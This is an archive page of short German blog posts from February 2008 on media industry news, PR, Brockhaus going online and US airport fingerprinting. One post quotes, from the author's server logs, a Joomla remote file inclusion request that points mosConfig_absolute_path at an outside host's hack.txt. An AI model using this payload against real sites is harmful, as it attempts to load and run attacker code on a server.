Mike Schnoor
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Achtung! Übernahme! kress!

Medien, Public Relations

Die britischstämmige Haymarket Media GmbH übernimmt den Fachtitel „kress report“ und die daran gebundenen Medienmarken „kress.de“ und „kress köpfe“. Rückwirkend zum 01. Januar 2008 wurde der Verkauf vereinbart und steht noch unter dem Vorbehalt der kartellrechtlichen Zustimmung. Dr. Thomas Wengenroth bleibt dem Kress Verlag in beratender Funktion freundschaftlich verbunden und übergibt die Aufgaben der Geschäftsführung an Gunnar Lindner ab, der bereits für Haymarket den „PR Report“ leitet. Mit mehr als 120 Titel in 40 Ländern ist Haymarket der größte britische Magazinverlag in Privatbesitz. Haymarket Deutschland verlegt insgesamt zwölf Fachtitel in den Bereichen Kommunikation, Druckwirtschaft, Gartenbau und Floristik.

Für mich ist dies eine Übernahme mit faden Beigeschmack. Ich weiß nicht warum, ich kann es mir nicht erklären, aber irgendwie kommt bei mir keine große Freude auf, wenn ich sehe, dass dieser traditionsreiche Titel jetzt indirekt zum britischen Imperium gehört. Doch woanders kommt die Meldung recht neutral an. :)

26. Februar 2008/von Mike Schnoor
https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp 0 0 Mike Schnoor https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp Mike Schnoor2008-02-26 15:50:232008-02-26 15:50:23Achtung! Übernahme! kress!

Restriktive Partizipation: Suite101 startet für Deutschland

Marketing

Die Welt braucht mehr Texte. Wer schreiben kann und dabei sachlich, fundiert und nicht unbedingt den Stil des Bloggens verfolgt, könnte sich als freier Autor bei „Suite101“ sauwohl fühlen. Die deutsche Version von „Suite101“ wurde als gemeinschaftliches Projekt von Burda Digital Ventures und Justbooks-Mitgründer Boris Wertz jüngst der Öffentlichkeit präsentiert. Der ursprünglich englischsprachige Dienst steht bereits seit 1996 am Markt und bedient nach eigenen Angaben ca. sieben Millionen Besucher im Monat mit Zitaten, Artikeln und jedwedem recherchierbaren Textmaterial. Die deutschsprachive Version von Suite101 als „Das Netzwerk der Autoren“ bietet nach einem ähnlichen Konzept wie das US-Vorbild redaktionelle Inhalte von eben jenen freien Autoren.

Optisch lädt die Seite den Besucher direkt ein, sich selbst zu beteiligen. Doch wer hier einen Kraftakt auf dem deutschen Web 2.0 Markt erwartet, ist leider fehl am Platz. Suite101 versprüht keinesfalls das schöne Mitmachgefühl vom Web 2.0, sondern trumpft durch die klassisch angehauchte „Restriktive Partizipation“ mit dem Charme eines alten Bullen am Platz auf. Es wird sich hier sicherlich nicht „Kleinliesschenmüller“ als Autor finden. Das Angebot ist und bleibt redaktionell kontrolliert und damit journalistischer Natur, wenn die 20 verschiedenen Ressorts mit ihren 350 verschiedenen Rubriken und inhaltlichen Themen gefüllt werden. Geschäftsführer Peter Berger und Chefredakteur Dirk Westphal setzen daher darauf, „ein möglichst breites Themenspektrum abzudecken.“

Die veröffentlichten Inhalte jedoch werden von einer zehnköpfigen Redaktion betreut und müssen den strengen internen Kriterien standhalten: Suite101 ist keine offene Community- oder Blog-Seite. Die mitunter illustre Aussage von Westphal, dass man für Qualität stehen will und die Autoren aufgrund ihrer schreiberischen Fähigkeiten auswählt, hört sich für meinen Geschmack so an, als ob Blogger keine qualitativen Inhalte liefern würden – wogegen man heutzutage auf das Härteste hin widersprechen kann. Zumindest außerhalb von Deutschland zählen Bloggern zu den Medien auf einem gleichen Niveau wie Fernsehjournalisten, Radioredaktionen oder klassische Printredakteure. Natürlich gibt es die typischen Ausreißer, an denen sich Kritiker mit ihrem blasphemischen Gestammel förmlich „das Maul zerreissen“ – doch auch früher hat man gegen das Fernsehen geschimpft und es dennoch in Deutschland zu einer Instanz des Journalismus erhoben.

Als Autor würde ich es jedoch sehr fragwürdig empfinden, wenn man mich ausschließlich über die Werbeerlöse der Google AdSense Anzeigen abspeist. Viel kann bei einigen Dutzend selbstgeschriebener Artikel, die vorher auch nicht woanders veröffentlicht werden dürfen, nicht bei rumkommen. Ich tippe darauf, dass ein Netzwerk dieser Größe doch durchaus mit mehr Potential aufwarten kann. Die eigentliche Vermarktung von Suite101 wird bestimmt in einer weiteren Phase gestartet – nur ob der einzelne Autor davon profitiert oder erst nach mehreren tausend Artikeln einen entsprechend guten Schnitt mit diesem Revenue Share machen kann, das steht noch in den Sternen.

23. Februar 2008/von Mike Schnoor
https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp 0 0 Mike Schnoor https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp Mike Schnoor2008-02-23 09:55:012013-11-20 07:09:13Restriktive Partizipation: Suite101 startet für Deutschland

Die USA und ihre Heimatschutzpresse

Politik, Public Relations

Wenn nicht schon in der Vergangenheit werde ich jetzt bestimmt mit diesem Blogeintrag die Aufmerksamkeit der USA erregen. Über die wunderbare presseagenturmäßige Verbindung von ots und PR Newswire kommen immer öfters Pressemitteilungen des U.S. Department of Homeland Security – oder auf gut bürgerlichem Deutsch „Heimatzschutzministerium“ herein. Dabei ist der Inhalt nahezu immer der gleiche Kram von einem Flugplatz in den Staaten und den schönsten zehn Fingerabdrücken, die man sich nur erdenken kann:

Heimatschutzministerium beginnt am [hier Flughafenname einsetzen] mit der Erfassung aller zehn Fingerabdrücke von internationalen Reisenden

Begründet sind diese Maßnahmen, und dabei auch diese abstrusen Pressemeldungen zwecks reiner Information und Offenlegung der Maßnahmen, in der Einführung des US-VISIT-Programms aus dem Jahr 2004. Als Konsequenz nach 9-11 und sonstigen semi-aggressiv-kriegerischen Akten setzt das Heimatschutzministerium mit steigender Beliebtheit biometrische Identifizierungsdaten ein. Es soll nur einem Zweck dienen – also mehreren Zwecken – damit die Verwendung gefälschter Dokumente verhindert wird, Besucher vor Identitätsdiebstahl geschützt werden und Tausende von Kriminellen aufgehalten und Personen, die gegen die Einwanderungsbestimmungen der USA verstossen, an der Einreise gehindert werden.

Seit dem 11.12.2007 und kurz darauf in einheitlicher Darstellung erquickt sich nun Deutschland an den standardisierten Meldungen, die nur eines aussagen: Bucht Flüge, die um die USA herum gehen oder landet erst gar nicht, denn sonst werden euch die Fingerabdrücke abgenommen. Oder versucht einfach vorerst nicht in den folgenden Flughäfen (zwischen) zu landen – denn es geht nicht nur um Einreisende, sondern Reisende – und das schließt vom deutschen Wortlaut jeden ein, der sich dort hinbegibt – zumindest nach meiner Vorstellung:

  • Dulles International Airport in Washington
  • Detroit Metropolitan Wayne County Airport
  • Hartsfield-Jackson Atlanta International Airport
  • Boston Logan International Airport
  • George Bush Houston Intercontinental Airport
  • San Francisco International Airport
  • Miami International Airport
  • Orlando International Airport
  • John F. Kennedy International Airport in New York (beginnt in Kürze)

Alle übrigen Einreisestellen für den Luft-, See- und Landverkehr werden jedoch sowieso bis Ende 2008 zum so genannten „Zehn-Finger-Erfassungsstandard“ übergehen. Ich kann noch mit meiner alten Fertigkeit in Zehn-Finger-Schreibmaschine auftrumpfen. Komme ich damit vielleicht auch durch?

20. Februar 2008/von Mike Schnoor
https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp 0 0 Mike Schnoor https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp Mike Schnoor2008-02-20 12:32:132013-11-20 07:54:12Die USA und ihre Heimatschutzpresse

PR Report Awards 2008

Public Relations

Für die PR Report Awards 2008 wurde die Shortlist veröffentlicht. Aus insgesamt 301 Einreichungen wählte die unabhängige Jury 66 Wettbewerbsbeiträge in 16 Kategorien auf die Shortlist.
Zusätzlich werden die Gold-Auszeichnungen für den PR-Professional des Jahres, das PR-Team des Jahres, die PR-Agentur des Jahres sowie die Studentin / den Studenten des Jahres noch bekannt gegeben.

Die Branche feiert und erfreut sich an ihren gelungenen Leistungen. Was mir einfach bei diesem Award fehlt ist neben der Konzentration auf klassische Pressearbeit insbesondere die Kommunikation 2.0 – wer hat sich bei Bloggern durchgesetzt, wer konnte in Social Networks erfolgreich PR-Arbeit leisten? Vielleicht wird das Thema ja nächstes Jahr an Brisanz und Relevanz gewinnen… wäre ja zumindest schön für die moderne Form der Kommunikation. Das Web 2.0 ist nicht nur ein Medium, sondern eine eigene Medienmacht, die zunehmend an Größe gewinnt. Auch PRler sollten sich dessen bewusst sein, wenn man sich selbst feiert und für klassische Werte in den Himmel lobt. :)

14. Februar 2008/von Mike Schnoor
https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp 0 0 Mike Schnoor https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp Mike Schnoor2008-02-14 10:45:212008-02-14 10:45:21PR Report Awards 2008

Joomla CMS Hack

Blogkultur

Ich nutze hier im Blog definitiv WordPress, aber zahlreiche Anfragen werden auf nicht-existente URLs gemacht, die wohl irgendwie eine Hintertür beim Joomla CMS öffnen sollen. Hier ein Beispiel:

/////////////?mosConfig_absolute_path=http://sonstwo.server.com/hack.txt

Scheinbar ist die mosConfig_absolute_path im Joomla CMS oder in veralteten Versionen absolut anfällig für zwischenmenschliche Schandtaten… naja, das wollte ich auch nur mal so mitteilen.

12. Februar 2008/von Mike Schnoor
https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp 0 0 Mike Schnoor https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp Mike Schnoor2008-02-12 22:16:222008-02-12 22:16:22Joomla CMS Hack

Brockhaus-Verlag im 21. Jahrhundert

Medien

Das Papier stirbt aus. Die Bücher werden verbannt. Wir konsumieren E-Mails, lesen eBooks und gestalten unser Leben durch digitalisierte Information. Wer nach einem Begriff oder einer Definition sucht, findet detaillierte Wissensansammlungen in den Archiven der Wikipedia oder in vielen anderen kostenlos zugänglichen Quellen im Internet. Wir alle sind es gewöhnt unsere Kommunikation auf verschiedenen Kanälen gleichzeitig zu führen und die Informationen mit gebündeltem Feedback auszutauschen, so dass selbst Shannon & Weaver einen Orgasmus vor kommunikativer Lust bekommen würden. Wer dem nicht Folge leistet, kommt an seine Grenzen.

Der Brockhaus-Verlag ist eines der traditionsreichen deutschen Unternehmen, die den Wandel der Medienwelt am eigenen Leib spüren. Was mir noch aus den Kindertagen als Schrankwand füllende Sammlung von Büchern in Erinnerung ist und für viele Referate im einstigen Deutsch-Unterricht als die ultimative Primärquelle galt, verstaubt einfach vor sich hin. Das 21. Jahrhundert und damit die 21. Auflage des Brockhaus ist der Zenit, der finale Höhepunkt der gedruckten Informationskatalyse laut Brockhaus-Verlag:

„Die Marktanalysen zeigen eindeutig, dass die Kunden künftig Sachinformationen in erster Linie online nachschlagen werden“, berichtete der Sprecher. „Die 21. Auflage der „Brockhaus Enzyklopädie“ war voraussichtlich die letzte – ab jetzt findet alles online statt.“

Wer versucht gegen kostenfreie Organisationen, die den Markt bereits eigenmächtig gebildet haben und ihn in Perfektion dominieren, mit einem Neustart anzukommen, wird höchstwahrscheinlich die Zähne ins Holz schlagen und resignieren müssen. Auch wenn der Brockhaus eine reine Online-Redaktion für ein bald durch Werbung refinanziertes Informationsportal mit relevanten und geprüften Informationen aus allen erdenklichen Wissensgebieten auf die Beine gestellt hat, befürchte ich eine wahre Bauchlandung. Die Erkenntnis kam dafür zu spät, dass sich unser aller Drang zur Informationsbeschaffung von dem gedruckten Wort auf die schnellebige, durchweg zeitlich immer präsente und dabei ortsunabhängig abrufbare Informationsquelle des Internets gewandelt hat. Selbst wenn der digitale Brockhaus qualitativ auf redaktioneller Ebene geführt wird, muss diese Umpositionierung für das Klientel, die bereits seit Jahren treue Brockhauskäufer sind, auch in den Köpfen manifestiert werden. Und wer den Brockhaus gekauft hat, wird sich nicht immer eine neue Edition zugelegt haben, sondern hortet den Brockhaus für Jahrzehnte lang im Bücherregal, bis vielleicht die Themenlage von Ost- und Westdeutschland an Relevanz verloren hat.

Meiner Meinung nach ist das Online-Projekt des digitalisierten Brockhaus auch als durch Werbung refinanziertes Portal kein Baum, der pralle Früchte tragen wird. Zu hoch ist die Dominanz der Wikipedia und allen anderen Online-Lexika, die schon längst erkannt haben, dass man nicht mehr nur auf Papier bestehen kann. Irgendwie erinnert mich das an die alte Diskussion in der Verlagsbranche, wo man von dem veränderten Leserverhalten und ihrem Medienkonsum nichts wissen wollte, bis die Anzeigenmärkte vollkommen unter den Füßen zusammenbrachen. Ironie des Schicksals – auch eine Enzyklopädie kann sterben.

Die Blogosphäre verhält sich eigenartig, hämisch und reserviert… so ganz kann es wohl niemand verstehen wollen, dass die Notbremse in dieser Form gezogen wurde.

12. Februar 2008/von Mike Schnoor
https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp 0 0 Mike Schnoor https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp Mike Schnoor2008-02-12 21:53:092013-11-20 07:43:18Brockhaus-Verlag im 21. Jahrhundert

Blogtrafficmessungsrankingtool

Blogkultur

Wer nicht zählt, der hat ein schöneres Leben. Doch wir Menschen in der digitalen Welt neigen zur Selbstkastration in Bezug auf jegliches Zahlenwirrwarr. Gibt es keines, machen wir eines.

Genau da setzen schon die urtümlichen Statistiken für Besucherströme, Traffic, Pageimpressions und Visits an. Es gab viele, es wird viele geben – und ein neuer Stern am Himmel will ins Licht des Blog-Rankings gerückt werden: blogoscoop kündigt sich an und möchte das ehemalige blogscout beerben.

Ich liebe Statistiken, ich traue dabei den wenigsten, aber ich kann mich an den individuellen Schwanzlängenvergleichen immer wieder ergötzen. Aber ich weiß noch nicht, ob ich mich dort anmelde bzw. dieses Blog registriere. Irgendwie wird doch Bloggen zum individuellen Nischenlebenszyklus, wenn man überhaupt zwischen Beruf und Familie noch ein wenig Zeit finden kann. Ach wie schön war doch die Zeit, als man fünf oder sechs Blogpostings am Tag veröffentlichen konnte und dafür zur Recherche und zum Schreiben einfach die Zeit im Überfluss hatte. Nun ist dem nicht mehr so und der Blogtraffic bricht ein. Aber man kann dem ja gegensteuern – vielleicht kommt auch hier bald die Energie zurück, wenn das Töchterchen sie nicht endlos auffuttert… :)

Aber die Idee ist schön, der partizipativen Blogosphäre ein neues Tool an die Hand zu geben. Zum aktuellen Überblick des bloggischen Tagesgeschehens gibt es eh nur Rivva und nichts anderes. Wenn blogoscoop als Statistiksystem quasi wie eine Ergänzung zum Nachrichtenaggregator aufgepäppelt wird, kann das schon eine Bereicherung für alle sein.

12. Februar 2008/von Mike Schnoor
https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp 0 0 Mike Schnoor https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp Mike Schnoor2008-02-12 19:09:242008-02-12 19:09:24Blogtrafficmessungsrankingtool

Kochbuchabmahnung durch TV-Screenshot

Blogkultur, Recht

Erst den Kopf in die Kamera halten und dann nicht dafür grade stehen wollen – das ist die Misere im Leben der Öffentlichkeit. Wer sich dafür entscheidet, hat in der Regel kein Mittel um einer Veröffentlichung des eigenen Gesichts im Sinne der Nachrichtenwertigkeit entgegen zu wirken. Einziges Mittel ist die Abmahnung.

Wie ärgerlich doch wirklich die Idealvorstellungen der meinungslosen Welt in den Augen von einzelnen Personen und ihren Anwälten sein kann, lässt sich anhand des jüngsten Abmahnvorfalls bei René vom Nerdcore Blog nachlesen. René soll anscheinend 3500 Euro für die Verwendung eines Screenshots des entsprechenden TV-Beitrages bezahlen. Ist das ZDF die ARD dabei nicht eigentlich auch in Pflicht zu nehmen, da das Programm dort ausgestrahlt wurde? Und muss das ZDF die ARD in dem Fall nicht die Abmahnung des Screenshots vorantreiben? Oder kümmert es das ZDF die ARD wenig? Traut sich die abmahnende Seite eventuell auch nicht selbst an das ZDF die ARD ran, sondern versucht auf anderen Wegen in die Schlagzeilen zu kommen? Ich kenne keine Antworten auf diese Fragen.

8. Februar 2008/von Mike Schnoor
https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp 0 0 Mike Schnoor https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp Mike Schnoor2008-02-08 12:35:362008-02-08 13:19:27Kochbuchabmahnung durch TV-Screenshot

RIP ad:tech Hamburg 2008

Events, Marketing

Es wäre schön gewesen. Es hätte schön sein können. Es hätte schöner enden können. Konjunktivgeschreibe zum Todesstoß der ad:tech Hamburg 2008. Die Messe für digitales Marketing zieht sich aus der Norddeutschen Hauptstadt zurück und positioniert sich nach dem mittelprächtigen Ergebnis des Vorjahres verstärkt auf internationalen Events in London und Paris. Nur knapp drei Monate vor der Veranstaltung wird das Handtuch geworfen und ich frage mich – hätte ich im letzten Jahr doch nach Hamburg hinreisen sollen?

Was solls! Der König ist tot, es lebe der König. Also auf zur OMD am 17. und 18. September 2008 in Düsseldorf! Es bleibt abzuwarten, ob die OMD trotz Weggang von Messe-Chef Frank Schneider den hohen Ansprüche der Branche gerecht wird… mir solls gleich sein, hauptsache die Party steigt abends wieder.

7. Februar 2008/von Mike Schnoor
https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp 0 0 Mike Schnoor https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp Mike Schnoor2008-02-07 23:13:012008-02-07 23:13:01RIP ad:tech Hamburg 2008

Sperrfrist 22.45 Uhr

Medien, Public Relations

Erneut gibt es den Skandal zum Thema der Sperrfristen. Deutschland ist dabei keinesfalls schockiert. Ja selbst zum Schenkelklopfen reicht es nicht aus. Einem Journalisten fällt bestimmt nicht der Kiefer herunter. Dennoch fiel die Meldung von 19:40 Uhr ins Auge, weil die Überschrift so einprägsam gestaltet ist:

(Sperrfrist 22.45 Uhr) ARD-DeutschlandTrend: Deutsche wollen Demokraten im Weißen Haus

Erst ZDF.Reporter, dann sogar die ARD – und wurde damit zum zweiten Mal die Sperrfrist publikumswirksam aufgetischt. Die Medienlandschaft befindet sich zumindest bei Medienhäusern in Form von öffentlich-rechtlichen Großunternehmen keinesfalls in dem Wandel der digitalen Momentaufnahme, den die Presselandschaft eigentlich bis in ihre Grundfeste erschüttern sollte. Ich wette, dass einige andere solcher mit Sperrfristen versehenen Meldungen noch folgen werden. Diese Verantwortlichen für Public Relations werden wohl immer noch versuchen, der mittlerweile veralteten Sperrfrist erneutes Leben einzuhauchen. Pustet ruhig… das Internet hält davon eher nichts. Und weil es so schön ist, veröffentliche ich alles selbst noch kurz vor Erreichen der Sperrfrist. Gute Nacht.

7. Februar 2008/von Mike Schnoor
https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp 0 0 Mike Schnoor https://mikeschnoor.com/upload/2026/06/mikeschnoor-logo-1.webp Mike Schnoor2008-02-07 22:44:282008-02-07 22:44:28Sperrfrist 22.45 Uhr
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Über mich

Mike Schnoor ist Head of Marketing bei kernpunkt und arbeitet seit über 25 Jahren in der Digitalbranche. Dieses Blogarchiv bündelt ältere Beiträge zu Digitalisierung, Marketing, Kommunikation und Digitalwirtschaft. Aktuelle Inhalte erscheinen vor allem auf LinkedIn und im kernpunkt Magazin.

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